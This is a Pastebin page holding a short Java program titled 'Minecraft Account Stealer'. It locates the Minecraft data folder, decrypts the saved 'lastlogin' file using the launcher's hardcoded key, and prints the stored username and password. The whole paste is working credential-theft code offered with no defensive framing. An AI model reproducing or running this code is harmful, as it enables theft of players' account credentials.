Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. import java.io.DataInputStream;
  2. import java.io.File;
  3. import java.io.FileInputStream;
  4. import java.util.Random;
  5. import javax.crypto.Cipher;
  6. import javax.crypto.CipherInputStream;
  7. import javax.crypto.SecretKey;
  8. import javax.crypto.SecretKeyFactory;
  9. import javax.crypto.spec.PBEKeySpec;
  10. import javax.crypto.spec.PBEParameterSpec;
  11.  
  12. /*
  13. * To change this template, choose Tools | Templates
  14. * and open the template in the editor.
  15. */
  16.  
  17. /**
  18. *
  19. *
  20. */
  21. public class Main {
  22.  
  23. public static File getMinecraftDir() {
  24. String os = System.getProperty("os.name", "").toLowerCase();
  25. String home = System.getProperty("user.home", ".");
  26.  
  27. if (os.contains("win")) {
  28. String appdata = System.getenv("APPDATA");
  29. if (appdata != null) {
  30. return new File(appdata, ".minecraft");
  31. } else {
  32. return new File(home, ".minecraft");
  33. }
  34. } else if (os.contains("mac")) {
  35. return new File(home, "Library/Application Support/minecraft");
  36. } else {
  37. return new File(home, ".minecraft/");
  38. }
  39. }
  40.  
  41. public static void main(String[] args) {
  42. try {
  43. Random random = new Random(43287234L);
  44. byte[] salt = new byte[8];
  45. random.nextBytes(salt);
  46. PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
  47. SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
  48. Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
  49. cipher.init(2, pbeKey, pbeParamSpec);
  50. File passFile = new File(getMinecraftDir(), "lastlogin");
  51. DataInputStream dis = null;
  52. if (cipher != null) {
  53. dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
  54. } else {
  55. dis = new DataInputStream(new FileInputStream(passFile));
  56. }
  57. System.out.println("Minecraft Account Stealer");
  58. System.out.println("Username: " + dis.readUTF());
  59. System.out.println("Password: " + dis.readUTF());
  60. dis.close();
  61. } catch (Exception ex) {
  62. ex.printStackTrace();
  63. }
  64. }
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement